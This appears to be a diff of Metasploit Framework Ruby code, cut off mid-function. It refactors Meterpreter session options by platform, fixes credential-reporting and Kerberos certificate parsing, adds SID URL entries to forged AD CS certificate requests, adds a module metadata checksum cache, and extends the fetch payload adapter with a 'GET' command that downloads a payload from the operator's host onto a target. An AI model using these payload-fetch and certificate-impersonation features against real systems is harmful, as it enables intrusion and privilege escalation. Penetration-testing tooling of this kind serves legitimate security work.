||||
end
|
||||
end
|
||||
console.disable_output = original
|
||||
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
unless datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::Android
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi,android']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::AppleIos
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
|
||||
),
|
||||
OptString.new(
|
||||
'PayloadProcessCommandLine',
|
||||
[ false, 'The displayed command line that will be used by the payload', '']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,27 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::Bsd
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
+1
-9
@@ -7,7 +7,7 @@ module Msf
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions
|
||||
module MeterpreterOptions::Common
|
||||
|
||||
TIMEOUT_SESSION = 24 * 3600 * 7 # 1 week
|
||||
TIMEOUT_COMMS = 300 # 5 minutes
|
||||
@@ -63,14 +63,6 @@ module Msf
|
||||
'SessionCommunicationTimeout',
|
||||
[ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS]
|
||||
),
|
||||
OptString.new(
|
||||
'PayloadProcessCommandLine',
|
||||
[ false, 'The displayed command line that will be used by the payload', '']
|
||||
),
|
||||
OptBool.new(
|
||||
'AutoUnhookProcess',
|
||||
[true, "Automatically load the unhook extension and unhook the process", false]
|
||||
),
|
||||
OptBool.new(
|
||||
'MeterpreterDebugBuild',
|
||||
[false, 'Use a debug version of Meterpreter']
|
||||
@@ -0,0 +1,27 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::Java
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::Linux
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
|
||||
),
|
||||
OptString.new(
|
||||
'PayloadProcessCommandLine',
|
||||
[ false, 'The displayed command line that will be used by the payload', '']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::OSX
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, 'Automatically load extensions on bootstrap, comma separated.', 'stdapi']
|
||||
),
|
||||
OptString.new(
|
||||
'PayloadProcessCommandLine',
|
||||
[ false, 'The displayed command line that will be used by the payload', '']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,27 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::Php
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,27 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::Python
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'shellwords'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
#
|
||||
# Defines common options across all Meterpreter implementations
|
||||
#
|
||||
module MeterpreterOptions::Windows
|
||||
include Msf::Sessions::MeterpreterOptions::Common
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'unhook,priv,stdapi']
|
||||
),
|
||||
OptBool.new(
|
||||
'AutoUnhookProcess',
|
||||
[true, "Automatically load the unhook extension and unhook the process", false]
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -71,11 +71,23 @@ module Msf
|
||||
def create_credential_login(credential_data)
|
||||
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
|
||||
|
||||
@report[rhost] = { successful_logins: [] }
|
||||
@report[rhost] ||= {}
|
||||
@report[rhost][:successful_logins] ||= []
|
||||
@report[rhost][:successful_logins] << login_credentials(credential_data)
|
||||
super
|
||||
end
|
||||
|
||||
def report_successful_login(public:, private:)
|
||||
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
|
||||
|
||||
@report[rhost] ||= {}
|
||||
@report[rhost][:successful_logins] ||= []
|
||||
@report[rhost][:successful_logins] << {
|
||||
public: public,
|
||||
private_data: private
|
||||
}
|
||||
end
|
||||
|
||||
# Creates a credential and adds to to the DB if one is present, then calls create_credential_login to
|
||||
# attempt a login
|
||||
#
|
||||
@@ -90,7 +102,8 @@ module Msf
|
||||
def create_credential_and_login(credential_data)
|
||||
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
|
||||
|
||||
@report[rhost] = { successful_logins: [] }
|
||||
@report[rhost] ||= {}
|
||||
@report[rhost][:successful_logins] ||= []
|
||||
@report[rhost][:successful_logins] << login_credentials(credential_data)
|
||||
super
|
||||
end
|
||||
@@ -107,14 +120,9 @@ module Msf
|
||||
def start_session(obj, info, ds_merge, crlf = false, sock = nil, sess = nil)
|
||||
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins']
|
||||
|
||||
unless @report && @report[rhost]
|
||||
elog("No RHOST found in report, skipping reporting for #{rhost}")
|
||||
print_brute level: :error, ip: rhost, msg: "No RHOST found in report, skipping reporting for #{rhost}"
|
||||
return super
|
||||
end
|
||||
|
||||
result = super
|
||||
@report[rhost].merge!({ successful_sessions: [] })
|
||||
@report[rhost] ||= {}
|
||||
@report[rhost][:successful_sessions] ||= []
|
||||
@report[rhost][:successful_sessions] << result
|
||||
result
|
||||
end
|
||||
@@ -127,6 +135,7 @@ module Msf
|
||||
#
|
||||
# @return [Hash] Rhost keys mapped to successful logins and sessions for each host
|
||||
def print_report_summary
|
||||
return unless @report
|
||||
report = @report
|
||||
|
||||
logins = report.flat_map { |_k, v| v[:successful_logins] }.compact
|
||||
|
||||
@@ -16,7 +16,7 @@ module Msf::DBManager::Cred
|
||||
query = query.includes(logins: [ :service, { service: :host } ])
|
||||
|
||||
if opts[:type].present?
|
||||
query = query.where('"metasploit_credential_privates"."type" = ?', opts[:type])
|
||||
query = query.where('"metasploit_credential_privates"."type" = ?', opts[:type].to_s)
|
||||
end
|
||||
|
||||
if opts[:jtr_format].present?
|
||||
|
||||
@@ -67,7 +67,7 @@ module Msf
|
||||
certificate.extensions.select { |ext| ext.oid == 'subjectAltName' }.each do |san_extension|
|
||||
begin
|
||||
asn_san = OpenSSL::ASN1.decode(san_extension)
|
||||
asn_san_value = asn_san.value.find {|value| value.is_a? OpenSSL::ASN1::OctetString }
|
||||
asn_san_value = asn_san.value.find { |value| value.is_a? OpenSSL::ASN1::OctetString }
|
||||
|
||||
if asn_san_value.nil?
|
||||
raise ArgumentError, 'Invalid certificate provided: unable to decode SAN'
|
||||
@@ -95,7 +95,7 @@ module Msf
|
||||
elsif san_entry.tag == 2 # dNSName
|
||||
parts = san_entry.value.split('.')
|
||||
if parts.length == 1
|
||||
user = san_entry
|
||||
user = san_entry.value # Corrected to extract string value
|
||||
domain = ''
|
||||
else
|
||||
user = parts[0] + '$'
|
||||
@@ -110,15 +110,26 @@ module Msf
|
||||
end
|
||||
|
||||
unless realm.nil? # and also username, since it's both or neither
|
||||
unless results.map { |x| x.map(&:downcase) }.include?([username.downcase, realm.downcase])
|
||||
# If we've been provided an override but can't find them in a SAN, give a warning
|
||||
normalized_results = results.map do |pair|
|
||||
pair.map do |value|
|
||||
if value.is_a?(String)
|
||||
value.downcase
|
||||
elsif value.is_a?(OpenSSL::ASN1::ASN1Data) && value.respond_to?(:value)
|
||||
val = value.value
|
||||
val.is_a?(String) ? val.downcase : val.to_s.downcase
|
||||
else
|
||||
value.to_s.downcase
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless normalized_results.include?([username.downcase, realm.downcase])
|
||||
print_warning("Warning: Provided principal and realm (#{username}@#{realm}) do not match entries in certificate:")
|
||||
results.each do |cert_username, cert_realm|
|
||||
print_warning(" * #{cert_username}@#{cert_realm}")
|
||||
end
|
||||
end
|
||||
|
||||
# But hey, they've overridden it, so off we go
|
||||
return [username, realm]
|
||||
end
|
||||
|
||||
@@ -220,16 +231,21 @@ module Msf
|
||||
client_dh_nonce: RASN1::Types::OctetString.new(value: dh_nonce)
|
||||
)
|
||||
|
||||
|
||||
auth_pack[:client_public_value][:subject_public_key].bit_length = pub_key_encoded.length * 8
|
||||
|
||||
|
||||
signed_auth_pack = sign_auth_pack(auth_pack, pfx.key, certificate)
|
||||
|
||||
|
||||
pa_as_req = Rex::Proto::Kerberos::Model::PreAuthPkAsReq.new
|
||||
|
||||
|
||||
pa_as_req.signed_auth_pack = signed_auth_pack
|
||||
|
||||
|
||||
Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PK_AS_REQ,
|
||||
value: pa_as_req.to_der)
|
||||
value: pa_as_req.to_der)
|
||||
end
|
||||
|
||||
# Calculate the cryptographic signatures over the AuthPack, and create the appropriate
|
||||
|
||||
@@ -89,6 +89,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
def_delegators :@framework_module,
|
||||
:print_status,
|
||||
:print_good,
|
||||
:print_error,
|
||||
:vprint_error,
|
||||
:vprint_status,
|
||||
:workspace
|
||||
|
||||
@@ -75,6 +75,7 @@ module Msf
|
||||
# @return [Hash] The options to use when connecting to the target
|
||||
# LDAP server.
|
||||
def get_connect_opts
|
||||
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
|
||||
opts = {
|
||||
username: datastore['LDAPUsername'],
|
||||
password: datastore['LDAPPassword'],
|
||||
@@ -82,7 +83,7 @@ module Msf
|
||||
base: datastore['BASE_DN'],
|
||||
domain_controller_rhost: datastore['DomainControllerRhost'],
|
||||
ldap_auth: datastore['LDAP::Auth'],
|
||||
ldap_cert_file: datastore['LDAP::CertFile'],
|
||||
ldap_pkcs12: datastore['LDAP::CertFile'] ? pkcs12_storage.read_pkcs12_cert_path(datastore['LDAP::CertFile']) : nil,
|
||||
ldap_rhostname: datastore['LDAP::Rhostname'],
|
||||
ldap_krb_offered_enc_types: datastore['LDAP::KrbOfferedEncryptionTypes'],
|
||||
ldap_krb5_cname: datastore['LDAP::Krb5Ccname'],
|
||||
|
||||
@@ -302,6 +302,9 @@ module Msf
|
||||
matcher.apply_ace!(ace) if security_descriptor.group_sid == test_sid
|
||||
when test_sid
|
||||
matcher.apply_ace!(ace)
|
||||
when Rex::Proto::Secauthz::WellKnownSids::SECURITY_LOCAL_SYSTEM_SID
|
||||
# the SECURITY_LOCAL_SYSTEM_SID won't be found if looked up in the next block and if it's not the SID we're checking for, it doesn't apply anyways so just skip it
|
||||
next
|
||||
else
|
||||
ldap_object = adds_get_object_by_sid(ldap, ace.body.sid)
|
||||
next unless ldap_object && ldap_object[:objectClass].include?('group')
|
||||
|
||||
@@ -75,7 +75,7 @@ module Msf
|
||||
return if ignore_ace?(ace)
|
||||
|
||||
@result = ace.header.ace_type
|
||||
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
@@ -27,6 +27,9 @@ module Exploit::Remote::MsIcpr
|
||||
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
|
||||
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze
|
||||
|
||||
# [[SAN URL prefix for strong SID mapping for KDCs running Windows Server Preview Build 25246 and later](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)]
|
||||
SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:"
|
||||
|
||||
class MsIcprError < StandardError; end
|
||||
class MsIcprConnectionError < MsIcprError; end
|
||||
class MsIcprAuthenticationError < MsIcprError; end
|
||||
@@ -170,6 +173,12 @@ module Exploit::Remote::MsIcpr
|
||||
san = []
|
||||
san << "dns=#{alt_dns}" if alt_dns
|
||||
san << "upn=#{alt_upn}" if alt_upn
|
||||
|
||||
if alt_sid
|
||||
san << "url=#{SAN_URL_PREFIX}#{alt_sid}"
|
||||
san << "url=#{alt_sid}"
|
||||
end
|
||||
|
||||
attributes['SAN'] = san.join('&') unless san.empty?
|
||||
|
||||
vprint_status(status_msg)
|
||||
@@ -237,6 +246,10 @@ module Exploit::Remote::MsIcpr
|
||||
print_status("Certificate UPN: #{upn.join(', ')}")
|
||||
end
|
||||
|
||||
unless (uri = get_cert_san_uri(response[:certificate])).empty?
|
||||
print_status("Certificate URI: #{uri.join(', ')}")
|
||||
end
|
||||
|
||||
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
|
||||
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
|
||||
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
|
||||
@@ -284,10 +297,25 @@ module Exploit::Remote::MsIcpr
|
||||
extensions = []
|
||||
|
||||
subject_alt_names = []
|
||||
subject_alt_names << "DNS:#{dns}" if dns
|
||||
subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
|
||||
subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn
|
||||
|
||||
if msext_sid
|
||||
subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
|
||||
subject_alt_names << "URI = #{msext_sid}"
|
||||
end
|
||||
|
||||
subject_alt_names << "DNS = #{dns}" if dns
|
||||
|
||||
unless subject_alt_names.empty?
|
||||
extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false)
|
||||
# factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
|
||||
# SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
|
||||
# The config file requires an identifier we define at the top of the file [alt_names]
|
||||
subject_alt_names.prepend("[alt_names]")
|
||||
subject_alt_names_conf = subject_alt_names.join("\n")
|
||||
config = OpenSSL::Config.parse(subject_alt_names_conf)
|
||||
factory = OpenSSL::X509::ExtensionFactory.new
|
||||
factory.config = config
|
||||
extensions << factory.create_extension('subjectAltName', '@alt_names', false)
|
||||
end
|
||||
|
||||
if msext_sid
|
||||
@@ -470,6 +498,20 @@ module Exploit::Remote::MsIcpr
|
||||
end
|
||||
end
|
||||
|
||||
# Get the URI/URL from the certificate.
|
||||
#
|
||||
# @param [OpenSSL::X509::Certificate] cert
|
||||
# @return [Array<String>] The URIs/URLs if any were found.
|
||||
def get_cert_san_uri(cert)
|
||||
return [] unless (san = get_cert_san(cert))
|
||||
|
||||
san[:GeneralNames].value.select do |gn|
|
||||
gn[:uniformResourceIdentifier].value?
|
||||
end.map do |gn|
|
||||
gn[:uniformResourceIdentifier].value
|
||||
end
|
||||
end
|
||||
|
||||
def icpr_service_data
|
||||
{
|
||||
host: rhost,
|
||||
|
||||
@@ -43,7 +43,7 @@ module Exploit::Remote::MYSQL
|
||||
begin
|
||||
self.mysql_conn = ::Rex::Proto::MySQL::Client.connect(rhost, user, pass, db, rport, io: self.sock)
|
||||
# Deprecating this in favor off `mysql_conn`
|
||||
@mysql_handle = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :mysql_conn, :@mysql_handle, ActiveSupport::Deprecation.new)
|
||||
@mysql_handle = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :mysql_conn, :@mysql_handle, deprecator: ActiveSupport::Deprecation.new)
|
||||
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("Connection refused")
|
||||
|
||||
@@ -16,6 +16,23 @@ module Msf::Exploit::Remote::Pkcs12
|
||||
@framework_module = framework_module
|
||||
end
|
||||
|
||||
# @param [String] cert_path A path to the file system where a pkcs12 cert is located, or a reference to a core database i.e., "id:123"
|
||||
# @param [String] cert_pass The certificate password
|
||||
# @param [String] workspace The workspace to restrict searches to
|
||||
def read_pkcs12_cert_path(cert_path, cert_pass = '', workspace: nil)
|
||||
is_readable = ::File.file?(cert_path) && ::File.readable?(cert_path)
|
||||
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.' unless is_readable
|
||||
data = File.binread(cert_path)
|
||||
|
||||
begin
|
||||
pkcs12 = OpenSSL::PKCS12.new(data, cert_pass)
|
||||
rescue StandardError => e
|
||||
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
|
||||
end
|
||||
|
||||
{ path: cert_path, value: pkcs12 }
|
||||
end
|
||||
|
||||
# Get stored pkcs12 matching the options query.
|
||||
#
|
||||
# @param [Hash] options The options for matching pkcs12's.
|
||||
|
||||
@@ -114,6 +114,8 @@ module Msf
|
||||
@module_info_copy = info.dup
|
||||
|
||||
self.module_info = info
|
||||
# Initialize UUID for RPC compatibility
|
||||
uuid
|
||||
|
||||
set_defaults
|
||||
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
require 'json'
|
||||
require 'parallel'
|
||||
require 'zlib'
|
||||
|
||||
#
|
||||
# Handles storage of module metadata on disk. A base metadata file is always included - this was added to ensure a much
|
||||
@@ -14,6 +16,7 @@ module Msf::Modules::Metadata::Store
|
||||
|
||||
BaseMetaDataFile = 'modules_metadata_base.json'
|
||||
UserMetaDataFile = 'modules_metadata.json'
|
||||
CacheMetaDataFile = 'module_metadata_cache.json'
|
||||
|
||||
#
|
||||
# Initializes from user store (under ~/store/.msf4) if it exists. else base file (under $INSTALL_ROOT/db) is copied and loaded.
|
||||
@@ -124,4 +127,164 @@ module Msf::Modules::Metadata::Store
|
||||
}
|
||||
end
|
||||
|
||||
# This method checks if the current module and library files match the cached checksum.
|
||||
# It uses a per-file CRC32 cache to avoid recalculating checksums for files that haven't changed.
|
||||
# If no cache exists, it will create one in the user's directory.
|
||||
#
|
||||
# @return [Boolean] True if the current checksum matches the cached one
|
||||
def self.valid_checksum?
|
||||
current_checksum = get_current_checksum
|
||||
cached_sha = get_cached_checksum
|
||||
|
||||
# If no cached checksum exists, create the cache file with current checksum
|
||||
if cached_sha.nil?
|
||||
update_cache_checksum(current_checksum)
|
||||
return false
|
||||
end
|
||||
|
||||
checksums_match?(current_checksum, cached_sha)
|
||||
end
|
||||
|
||||
# Calculate the current checksum for all module and library files
|
||||
# This calculates checksums for each file and generates an overall checksum
|
||||
# from the individual file checksums. Does NOT update the cached checksum.
|
||||
#
|
||||
# @return [Integer] The current overall checksum
|
||||
def self.get_current_checksum
|
||||
files = collect_files_to_check
|
||||
cache_file = get_cache_path
|
||||
cache_data = load_combined_cache(cache_file)
|
||||
|
||||
files_lookup = {}
|
||||
cache_data['files'].each { |entry| files_lookup[entry['path']] = entry }
|
||||
|
||||
file_crc32s_with_metadata = calculate_file_checksums(files, files_lookup)
|
||||
|
||||
file_crc32s = file_crc32s_with_metadata.map { |_, meta| meta['crc32'] }.sort
|
||||
|
||||
overall_checksum = calculate_overall_checksum(file_crc32s)
|
||||
|
||||
overall_checksum
|
||||
end
|
||||
|
||||
# Compare the current checksum with the cached checksum
|
||||
# @param [String] current_checksum The calculated checksum for the current state
|
||||
# @param [String] cached_checksum The checksum retrieved from cache
|
||||
# @return [Boolean] True if checksums match, false otherwise
|
||||
def self.checksums_match?(current_checksum, cached_checksum)
|
||||
current_checksum == cached_checksum
|
||||
end
|
||||
|
||||
# Calculate the overall checksum from individual file checksums
|
||||
# @param [Array<Integer>] file_crc32s Array of individual file CRC32 values
|
||||
# @return [Integer] The overall CRC32 as an integer
|
||||
def self.calculate_overall_checksum(file_crc32s)
|
||||
Zlib.crc32(file_crc32s.join(','), 0)
|
||||
end
|
||||
|
||||
# Collect all files that need to be checked for checksums
|
||||
# @return [Array<String>] List of file paths
|
||||
def self.collect_files_to_check
|
||||
# Define the directories to scan for files
|
||||
modules_dir = File.join(Msf::Config.install_root, 'modules', '**', '*')
|
||||
local_modules_dir = File.join(Msf::Config.user_module_directory, '**', '*')
|
||||
lib_dir = File.join(Msf::Config.install_root, 'lib', '**', '*')
|
||||
# Gather all files from the specified directories
|
||||
Dir.glob([modules_dir, lib_dir, local_modules_dir]).select { |f| File.file?(f) }.sort
|
||||
end
|
||||
|
||||
# Calculate checksums for all files, using the cache when possible
|
||||
# @param [Array<String>] files List of file paths to check
|
||||
# @param [Hash] cache Current cache data
|
||||
# @return [Array<Array>] Array of [file_path, metadata] pairs
|
||||
def self.calculate_file_checksums(files, cache)
|
||||
Parallel.map(files, in_threads: Etc.nprocessors * 2) do |file|
|
||||
# Get file metadata (size and last modified time)
|
||||
file_metadata = File.stat(file)
|
||||
cache_entry = cache[file]
|
||||
# Use cached CRC32 if mtime and size match, otherwise recalculate
|
||||
if cache_entry && cache_entry['mtime'] == file_metadata.mtime.to_i && cache_entry['size'] == file_metadata.size
|
||||
crc32 = cache_entry['crc32']
|
||||
else
|
||||
crc32 = File.open(file, 'rb') { |fd| Zlib.crc32(fd.read, 0) }
|
||||
end
|
||||
# Return file and its metadata for later aggregation
|
||||
[file, {
|
||||
'crc32' => crc32,
|
||||
'mtime' => file_metadata.mtime.to_i,
|
||||
'size' => file_metadata.size
|
||||
}]
|
||||
end
|
||||
end
|
||||
|
||||
# Get the path to the cache file
|
||||
# @return [String] Path to the cache file
|
||||
def self.get_cache_path
|
||||
File.join(Msf::Config.config_directory, "store", CacheMetaDataFile)
|
||||
end
|
||||
|
||||
# Load the combined cache from disk (contains both files and checksum)
|
||||
# @param [String] cache_file Path to the cache file
|
||||
# @return [Hash] The loaded cache with 'files' and 'checksum' keys, or empty structure if file doesn't exist
|
||||
def self.load_combined_cache(cache_file)
|
||||
if File.exist?(cache_file)
|
||||
cache_content = JSON.parse(File.read(cache_file))
|
||||
# Ensure the cache has the expected structure
|
||||
{
|
||||
'files' => cache_content['files'] || [],
|
||||
'checksum' => cache_content['checksum']
|
||||
}
|
||||
else
|
||||
{ 'files' => [], 'checksum' => nil }
|
||||
end
|
||||
end
|
||||
|
||||
# Save the combined cache to disk (files and checksum in one file)
|
||||
# @param [String] cache_file Path to the cache file
|
||||
# @param [Hash] files_cache The per-file cache data
|
||||
# @param [Integer] overall_checksum The overall checksum
|
||||
# @return [void]
|
||||
def self.save_combined_cache(cache_file, files_cache, overall_checksum)
|
||||
# Ensure the directory for the cache file exists before writing
|
||||
FileUtils.mkdir_p(File.dirname(cache_file))
|
||||
|
||||
cache_content = {
|
||||
'checksum' => overall_checksum,
|
||||
'files' => files_cache
|
||||
}
|
||||
|
||||
File.write(cache_file, JSON.pretty_generate(cache_content))
|
||||
end
|
||||
|
||||
# Get the cached checksum value from the combined cache file
|
||||
# @return [Integer, nil] The cached checksum value or nil if no cache exists
|
||||
def self.get_cached_checksum
|
||||
cache_path = get_cache_path
|
||||
cache_data = load_combined_cache(cache_path)
|
||||
cache_data['checksum']
|
||||
end
|
||||
|
||||
# Update the cache with the current checksum and file data
|
||||
# @param [Integer] current_checksum The current checksum to store in the cache
|
||||
# @return [void]
|
||||
def self.update_cache_checksum(current_checksum)
|
||||
# Recalculate file checksums and update both overall checksum and file cache
|
||||
files = collect_files_to_check
|
||||
cache_file = get_cache_path
|
||||
cache_data = load_combined_cache(cache_file)
|
||||
|
||||
files_lookup = {}
|
||||
cache_data['files'].each { |entry| files_lookup[entry['path']] = entry }
|
||||
|
||||
file_crc32s_with_metadata = calculate_file_checksums(files, files_lookup)
|
||||
|
||||
updated_files_cache = file_crc32s_with_metadata.map do |file_path, metadata|
|
||||
metadata.merge('path' => file_path)
|
||||
end
|
||||
|
||||
updated_files_cache.sort_by! { |entry| entry['path'] }
|
||||
|
||||
# Save both the updated file cache and the new overall checksum
|
||||
save_combined_cache(cache_file, updated_files_cache, current_checksum)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -86,7 +86,7 @@ module Msf::Payload::Adapter::Fetch
|
||||
def pipe_supported_binaries
|
||||
# this is going to expand when we add psh support
|
||||
return %w[CURL] if windows?
|
||||
%w[WGET CURL]
|
||||
%w[WGET GET CURL]
|
||||
end
|
||||
|
||||
def generate(opts = {})
|
||||
@@ -115,6 +115,8 @@ module Msf::Payload::Adapter::Fetch
|
||||
case datastore['FETCH_COMMAND'].upcase
|
||||
when 'WGET'
|
||||
return _generate_wget_pipe
|
||||
when 'GET'
|
||||
return _generate_get_pipe
|
||||
when 'CURL'
|
||||
return _generate_curl_pipe
|
||||
else
|
||||
@@ -132,6 +134,8 @@ module Msf::Payload::Adapter::Fetch
|
||||
return _generate_tnftp_command
|
||||
when 'WGET'
|
||||
return _generate_wget_command
|
||||
when 'GET'
|
||||
return _generate_get_command
|
||||
when 'CURL'
|
||||
return _generate_curl_command
|
||||
when 'TFTP'
|
||||
@@ -336,6 +340,43 @@ module Msf::Payload::Adapter::Fetch
|
||||
end
|
||||
end
|
||||
|
||||
def _generate_get_command
|
||||
# Specifying the method (-m GET) is necessary on OSX
|
||||
case fetch_protocol
|
||||
when 'HTTP'
|
||||
get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
|
||||
when 'HTTPS'
|
||||
# There is no way to disable cert check in GET ...
|
||||
